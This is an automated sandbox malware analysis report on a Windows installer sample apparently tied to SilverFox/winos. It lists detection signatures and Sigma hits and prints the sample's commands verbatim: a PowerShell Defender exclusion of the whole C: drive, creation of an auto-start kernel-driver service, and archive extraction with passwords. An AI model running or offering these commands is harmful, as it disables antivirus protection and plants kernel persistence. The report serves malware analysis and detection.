Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
#U5b89#U88c5#U52a9#U624b2.0.4.exe

Overview

General Information

Sample name:#U5b89#U88c5#U52a9#U624b2.0.4.exe
renamed because original name is a hash value
Original sample name:2.0.4.exe
Analysis ID:1580394
MD5:824d18101868c00261fd732e2e713fa6
SHA1:04df8109561e9a1aed04fa7ed7d4b3c931bde5c7
SHA256:2e5c530decd37133e50f6b149f634973e54cf555abcb309e829a3e8dcd223724
Tags:exeSilverFoxwinosuser-kafan_shengui
Infos:

Detection

Score:88
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Contains functionality to hide a thread from the debugger
Found driver which could be used to inject code into processes
Hides threads from debuggers
Loading BitLocker PowerShell Module
PE file contains section with special chars
Protects its processes via BreakOnTermination flag
Query firmware table information (likely to detect VMs)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
AV process strings found (often used to terminate AV products)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: New Kernel Driver Via SC.EXE
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • #U5b89#U88c5#U52a9#U624b2.0.4.exe (PID: 7456 cmdline: "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" MD5: 824D18101868C00261FD732E2E713FA6)
    • #U5b89#U88c5#U52a9#U624b2.0.4.tmp (PID: 7512 cmdline: "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" MD5: 5F1FEB7EA510D8FB9A35D5802519EBDB)
      • powershell.exe (PID: 7532 cmdline: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WmiPrvSE.exe (PID: 6148 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
      • #U5b89#U88c5#U52a9#U624b2.0.4.exe (PID: 7620 cmdline: "C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT MD5: 824D18101868C00261FD732E2E713FA6)
        • #U5b89#U88c5#U52a9#U624b2.0.4.tmp (PID: 7712 cmdline: "C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$2044A,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" /VERYSILENT MD5: 5F1FEB7EA510D8FB9A35D5802519EBDB)
          • 7zr.exe (PID: 7808 cmdline: 7zr.exe x -y res.dat -pad8dtyw9eyfd9aslyd9iald MD5: 84DC4B92D860E8AEA55D12B1E87EA108)
            • conhost.exe (PID: 7836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • 7zr.exe (PID: 7888 cmdline: 7zr.exe x -y locale3.dat -pasfasdf79yf9layslofs MD5: 84DC4B92D860E8AEA55D12B1E87EA108)
            • conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7776 cmdline: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7788 cmdline: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7960 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7984 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8000 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 8024 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8088 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 8104 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8156 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 8168 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7276 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4216 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2068 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3532 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5492 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4524 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5272 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 5760 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7304 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7380 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7504 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1196 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 1612 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3340 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2168 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1984 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 1928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2216 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2464 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2772 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2976 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 2884 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4300 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4080 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 2616 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4584 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7524 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4676 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 4932 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 4936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3848 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7788 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7508 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7496 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7748 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7948 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7908 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7980 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8016 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 8040 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8072 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 8124 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 8132 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 6048 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7268 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7276 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 4216 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 332 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 5828 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 3780 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 6864 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 7376 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 6712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 7308 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 752 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 768 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • sc.exe (PID: 1568 cmdline: sc start CleverSoar MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cmd.exe (PID: 3508 cmdline: cmd /c start sc start CleverSoar MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp, ParentProcessId: 7512, ParentProcessName: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7532, ProcessName: powershell.exe
Sigma detected: New Kernel Driver Via SC.EXE
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7776, ParentProcessName: cmd.exe, ProcessCommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ProcessId: 7788, ProcessName: sc.exe
Sigma detected: Powershell Defender Exclusion
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp, ParentProcessId: 7512, ParentProcessName: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7532, ProcessName: powershell.exe
Sigma detected: New Service Creation Using Sc.EXE
Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: cmd /c start sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7776, ParentProcessName: cmd.exe, ProcessCommandLine: sc create CleverSoar displayname= CleverSoar binPath= "C:\Program Files (x86)\Windows NT\tProtect.dll" type= kernel start= auto, ProcessId: 7788, ProcessName: sc.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp" /SL5="$1042C,5175725,845824,C:\Users\user\Desktop\#U5b89#U88c5#U52a9#U624b2.0.4.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-41CGB.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmp, ParentProcessId: 7512, ParentProcessName: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7532, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\Windows NT\hrsw.vbcReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\is-9LEP6.tmp\update.vacReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\is-H6C6K.tmp\update.vacReversingLabs: Detection: 23%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 93.3% probability
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: #U5b89#U88c5#U52a9#U624b2.0.4.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: c:\builddir\threat~1.26\drivers\tfsysmon\objfre_wnet_amd64\amd64\TfSysMon.pdb source: 7zr.exe, 0000000C.00000003.1448557878.0000000002860000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe, 0000000C.00000003.1448478067.00000000034C0000.00000004.00001000.00020000.00000000.sdmp, tProtect.dll.12.dr
Source: C:\Users\user\AppData\Local\Temp\is-8972P.tmp\#U5b89#U88c5#U52a9#U624b2.0.4.tmpCode function: 6_2_6CA6B430 FindFirstFileA,FindClose,FindClose,6_2_6CA6B430
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00856868 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,10_2_00856868
Source: C:\Program Files (x86)\Windows NT\7zr.exeCode function: 10_2_00857496 __EH_prolog,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLogicalDriveStringsW,10_2_00857496
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1601349832.000000006CAA8000.00000008.00000001.01000000.00000009.sdmp, #U5b89#U88c5#U52a9#U624b2.0.4.tmp, 00000006.00000002.1596647298.0000000003A4E000.00000004.00001000.00020000.00000000.sdmp, 7zr.exe.6.dr, hrsw.vbc.6.dr, update.vac.2.dr, update.vac.6.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
